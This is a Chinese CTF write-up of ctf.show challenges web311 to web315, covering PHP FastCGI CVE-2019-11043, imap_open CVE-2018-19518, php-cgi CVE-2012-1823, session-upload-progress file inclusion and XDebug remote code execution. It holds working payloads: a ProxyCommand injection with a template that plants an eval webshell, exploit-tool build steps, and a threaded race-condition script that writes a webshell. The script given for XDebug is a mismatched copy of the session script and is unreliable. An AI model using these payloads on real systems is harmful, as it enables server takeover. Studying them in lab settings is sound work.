PHP CVE篇

web311–CVE-2019-11043

请求头看见

image-20231228174545540

比较令人新奇,去搜索PHP/7.1.33dev发现是CVE-2019-11043远程代码执行漏洞

漏洞名称:php fastcgi 远程命令执行漏洞

涉及版本:

<7.1.33的PHP版本7.1.x

<7.2.24的7.2.x

<7.3.11的7.3.x容易受到攻击

漏洞简介:

该漏洞可以通过构造url请求,实现远程代码执行

漏洞利用条件

  • 已安装易受攻击的PHP版本

  • 底层服务器是NGINX

  • php-fpm已启用

    漏洞分析:

    漏洞主要存在于fpm_main.c中的代码,里面的 location ~ [^/]\.php(/|$) 代码中,分了两次匹配url,导致可以构造url请求执行代码

向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

...

fastcgi_split_path_info ^(.+?\.php)(/.*)$;

fastcgi_param PATH_INFO $fastcgi_path_info;

fastcgi_pass php:9000;

...

}

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。

做题需要用到phuip-fpizdam,基于go环境的,需要配置一下go环境

1
2
3
4
5
6
//更新一下apt
apt-get update
apt install golang
apt --fix-broken install -y
//测试是否成功
go -version

image-20231228181156276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

git clone https://github.com/neex/phuip-fpizdam.git

//查看go环境信息
go env

//目录跳转
cd phuip-fpizdam

//安装所需
go get -v && go build

//如果上条安装所需没反应或者报错,就先执行下面这题(切换代理),然后再安装所需
go env -w GOPROXY=https://goproxy.cn


image-20231228190747940

image-20231228190804230

P牛 友情提示:您应该注意,只有部分PHP-FPM子进程受到了污染,因此请尝试几次以执行该命令

web312–CVE-2018-19518

先看看数据包有啥

image-20231228191041068

搜索相应PHP版本

漏洞介绍

MAP协议(因特网消息访问协议)它的主要作用是邮件客户端可以通过这种协议从邮件服务器上获取邮件的信息,下载邮件等。它运行在TCP/IP协议之上,使用的端口是143。在php中调用的是imap_open函数

imap_open( string $mailbox,string $user,string $password

其中参数mailbox,是用来连接邮箱服务器的。它会调用rsh来连接远程shell而,debian/ubuntu中默认使用ssh来代替rsh,如下图:

image-20231228191446129

又因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,所以攻击者通过注入这个参数,最终将导致命令执行漏洞

18f4b921c6c844fcfab89ea21b9a4104

可以看到尽管没有连接成功,但是我们成功的把命令写入到了文件,所以这也就是我们系统被攻击的成因。

ProxyCommand,连接服务器的这样的一个命令具体说明如下:

ProxyCommand 指定用于连接服务器的命令。命令字符串扩展到行的末尾,并使用用户的shell’ exec’指令执行,以避免延迟的shell进程。 ProxyCommand接受TOKENS 部分中描述的令牌的参数。该命令基本上可以是任何东西,并且应该从其标准输入读取并写入其标准输出。它应该最终连接在某台机器上运行的sshd服务器,或者在sshd -i某处执行。主机密钥管理将使用所连接主机的HostName完成(默认为用户键入的名称)。设置命令以none完全禁用此选项。请注意, CheckHostIP无法与代理命令连接。 该指令与nc及其代理支持结合使用非常有用。例如,以下指令将通过192.0.2.0的HTTP代理连接: ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

解析命令时还会有问题。要绕过斜杠和空格的转义。用$IFS和\t或者base64编码和相关命令再解码。如下:

1
2
3
4
echo "echo hello|tee /tmp/executed"|base64

ehco ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash

前面版本都符合

直接固定payload直接打

1
2
3
4
5
6
7
8
9
# 原始payload
x+-oProxyCommand=echo echo '<?php eval($_POST[1]);' > /var/www/html/1.php|base64 -d|sh}

# base64+url编码以后
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}

# 模板
hostname=x+-oProxyCommand%3decho%09【要执行命令的base64】|base64%09-d|sh}&username=xxx&password=xxx

1
2
hostname=x+-oProxyCommand%3decho%09ZWNobyAnPD9waHAgZXZhbCgkX1BPU1RbMV0pOycgPiAvdmFyL3d3dy9odG1sLzEucGhw%3d|base64%09-d|sh}&username=xxx&password=xxx

image-20231228191924287

web313-CVE-2012-1823

好好好开头都一样是啊吧

老规矩

看包

image-20231228192730493

盲猜跟这个有关

直接搜

搜到跟cve-2012-1832有关

PHP SAPI 与运行模式

首先,介绍一下PHP的运行模式。

下载PHP源码,可以看到其中有个目录叫sapi。sapi在PHP中的作用,类似于一个消息的“传递者”,比如在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm,他的作用就是接受Web容器通过fastcgi协议封装好的数据,并交给PHP解释器执行。

除了fpm,最常见的sapi应该是用于Apache的mod_php,这个sapi用于php和apache之间的数据交换。

php-cgi也是一个sapi。在远古的时候,web应用的运行方式很简单,web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork出一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,同时这个解释器子进程也就结束了。基于bash、perl等语言的web应用多半都是以这种方式来执行,这种执行方式一般就被称为cgi,在安装Apache的时候默认有一个cgi-bin目录,最早就是放置这些cgi脚本用的。

但cgi模式有个致命的缺点,众所周知,进程的创建和调度都是有一定消耗的,而且进程的数量也不是无限的。所以,基于cgi模式运行的网站通常不能同时接受大量请求,否则每个请求生成一个子进程,就有可能把服务器挤爆。于是后来就有了fastcgi,fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接受数据包,执行后返回结果,但自身并不退出。

php有一个叫php-cgi的sapi,php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互。也就说,我们可以像perl一样,让web容器直接fork一个php-cgi进程执行某脚本;也可以在后台运行php-cgi -b 127.0.0.1:9000(php-cgi作为fastcgi的管理器),并让web容器用fastcgi协议和9000交互。

那我之前说的fpm又是什么呢?为什么php有两个fastcgi管理器?php确实有两个fastcgi管理器,php-cgi可以以fastcgi模式运行,fpm也是以fastcgi模式运行。但fpm是php在5.3版本以后引入的,是一个更高效的fastcgi管理器,其诸多优点我就不多说了,可以自己去翻翻源码。因为fpm优点更多,所以现在越来越多的web应用使用php-fpm去运行php。

PHP的四种运行模式

(1)CGI

全称是“通用网关接口”(Common Gateway Interface), 它可以让一个客户端,从网页浏览器向执行在Web服务器上的程序请求数据,描述的是客户端和这个程序之间传输数据的一种标准,另外CGI独立于任何语言,所以可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等。

CGI针对每个用户请求都要开单独的子进程去维护,所以数量多的时候会出现性能问题,最近几年很少用。

(2)FastCGI

CGI的升级版本,FastCGI 像是一个常驻 (long-live) 型的 CGI,它可以一直执行着,只要激活后,不会每次都要花费时间去解析php.ini、重新载入全部dll扩展并重初始化全部数据结构。

PHP使用PHP-FPM(FastCGI Process Manager),全称PHP FastCGI进程管理器进行管理。

(3)Cli

PHP-CLI是PHP Command Line Interface的简称,就是PHP在命令行运行的接口,区别于在Web服务器上运行的PHP环境(PHP-CGI等)。

在php-cli模式下我们可以直接启动一个php文件并执行,就像workerman中一样

(4)Module加载

这种方式一般是针对apache而言的,它是把php作为apache的一个子模块来运行。
漏洞介绍:

这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)被作为了php-cgi的参数,最终导致了一系列结果。

RFC3875中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以Apache服务器按要求实现了这个功能。但PHP并没有注意到RFC的这一个规则,也许是曾经注意并处理了,处理方法就是web上下文中不允许传入参数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
From: Rasmus Lerdorf <rasmus <at> lerdorf.com>
Subject: [PHP-DEV] php-cgi command line switch memory check
Newsgroups: gmane.comp.php.devel
Date: 2004-02-04 23:26:41 GMT (7 years, 49 weeks, 3 days, 20 hours and 39 minutes ago)

In our SAPI cgi we have a check along these lines:

if (getenv("SERVER_SOFTWARE")
|| getenv("SERVER_NAME")
|| getenv("GATEWAY_INTERFACE")
|| getenv("REQUEST_METHOD")) {
cgi = 1;
}

if(!cgi) getopt(...)

As in, we do not parse command line args for the cgi binary if we are
running in a web context. At the same time our regression testing system
tries to use the cgi binary and it sets these variables in order to
properly test GET/POST requests. From the regression testing system we
use -d extensively to override ini settings to make sure our test
environment is sane. Of course these two ideas conflict, so currently our
regression testing is somewhat broken. We haven't noticed because we
don't have many tests that have GET/POST data and we rarely build the cgi
binary.

The point of the question here is if anybody remembers why we decided not
to parse command line args for the cgi version? I could easily see it
being useful to be able to write a cgi script like:

#!/usr/local/bin/php-cgi -d include_path=/path
<?php
...
?>

and have it work both from the command line and from a web context.

As far as I can tell this wouldn't conflict with anything, but somebody at
some point must have had a reason for disallowing this.

-Rasmus

但开发者是为了方便使用类似#!/usr/local/bin/php-cgi -d include_path=/path的写法来进行测试,认为不应该限制php-cgi接受命令行参数,而且这个功能不和其他代码有任何冲突。

于是,源程序中的if(!cgi) getopt(…)被删掉了。

根据RFC中对于command line的说明,命令行参数不光可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,更可以通过querystring的方式传入。
漏洞利用:

cgi模式下有如下可控命令行参数可用:

-c 指定php.ini文件(PHP的配置文件)的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助

那么最简单的利用方式就是-s可以直接显示源码:
image-20231228195047708

爆出源码说明漏洞存在。看network,版本是PHP 5.4.1,满足条件。

一个更好的利用方法是通过使用-d指定auto_prepend_file来制造任意文件包含漏洞,执行任意代码:(其中用“+”代替了“空格”,并将“=”和“:”进行了URL编码)

其原理是:利用可控命令行参数 -d 将allow_url_include 得值设为 on 并使用 auto_prepend_file 函数在页面顶部加载文件,而构造加载的文件为 php://input 读取的原始POST数据(也就是传输的数据 的执行结果),并传递到回应包里。构造请求包如下:
image-20231228195514763

web314–日志文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
 <?php

error_reporting(0);

highlight_file(__FILE__);

//phpinfo
$file = $_GET['f'];

if(!preg_match('/\:/',$file)){
include($file);
}

进行日志文件包含的前提

我们先来看一下php.ini中的相关配置

1.session.upload_progress.enabled = On
2.session.upload_progress.cleanup = On
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
image-20231229165337386

除了第二个配置外,其他三个配置的作用在官方文档中都有说明。
session.upload_progress.cleanup = On 的意思就是在读取完POST的数据后,php就会删除session文件中关于上传进度的信息。

存储机制

当开启session是,服务器都会在一个临时目录下创建一个session保存文件,文件名格式为 sess_PHPSESSID 。

在linux系统中,session文件一般保存在以下几个目录:

1
2
3
4
/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

了解了session文件的配置和存储机制后我们PHP_SESSION_UPLOAD_PROGRESS将恶意代码写入session文件,再通过包含session文件实现RCE。不过要实现这个目的还需要跨过几个坎

1.我们斗志到,通过session_start()才能开启session,那如果没有session_start()这个姿势岂不是没法利用了, 这里我们又要了解一个新的相关配置:session.use_strict_mode

image-20231229170403293

该配置项默认是不启用的,这就代表着我们可以自己定义session id,比如我在请求包中设置Cookie为PHPSESSID=haha,那么就会生成一个sess_haha的session文件,此时php会自动初始化session,并产生一个键值,格式为配置文件中 session.upload_progress.prefix的值+我们传入的session.upload_progress.name的值,该键值会被写入session文件。按我上面写的相关配置,该键值的格式应该为:upload_progress_+PHP_SESSION_UPLOAD_PROGRESS的值。
2.因为 session.upload_progress.cleanup默认是开启的,这就导致在上传结束后,session文件中有关上传进度的信息会立马被删除,那么我们怎么才能包含到恶意代码呢?

这里我们可以用条件竞争的方式来解决该问题,使用burp或python脚本不断发送上传数据包,然后再用相同方式发送文件包含的数据包,就能包含到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import io
import threading
url = 'http://7143cdb5-0dd8-4987-8c49-48612725ac83.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}#写一句话木马到文件
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('xxx',f)})

def read(session):
while event.isSet():
response = session.post(url+'?f=/tmp/sess_flag')
if 'success!' in response.text:#判断
print("写入成功,访问1.php getshell")
event.clear()#终止进程
break
else:
pass

if __name__=='__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(10):#开启十条进程
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()

web315-XDebug 远程调试漏洞

条件:

开启了远程调试模式,并设置remote_connect_back = 1

xdebug.remote_connect_back = 1

xdebug.remote_enable = 1

这个配置下,我们访问http://target-url/index.php?XDEBUG_SESSION_START=phpstorm,目标服务器的XDebug将会连接访问者的IP(或X-Forwarded-For头指定的地址)并通过dbgp协议与其通信,我们通过dbgp中提供的eval方法即可在目标服务器上执行任意PHP代码。
利用脚本如下:(XDebug_exp.py)放在vps上面:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import io
import threading
url = 'http://7143cdb5-0dd8-4987-8c49-48612725ac83.challenge.ctf.show/'
file_name="/var/www/html/1.php"
file_content='<?php eval($_POST[1]);?>'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}#写一句话木马到文件
while event.isSet():
f = io.BytesIO(b'a'*1024*50)
session.post(url,cookies={'PHPSESSID':'flag'},data=data,files={'file':('xxx',f)})

def read(session):
while event.isSet():
response = session.post(url+'?f=/tmp/sess_flag')
if 'success!' in response.text:#判断
print("写入成功,访问1.php getshell")
event.clear()#终止进程
break
else:
pass

if __name__=='__main__':
event = threading.Event()
event.set()
with requests.session() as session:
for i in range(10):#开启十条进程
threading.Thread(target=write,args=(session,)).start()
for i in range(10):
threading.Thread(target=read,args=(session,)).start()

1
python3 XDebug_exp.py -t 【靶机url】/index.php -c 'shell_exec("id");' -l 9000

image-20231229183503147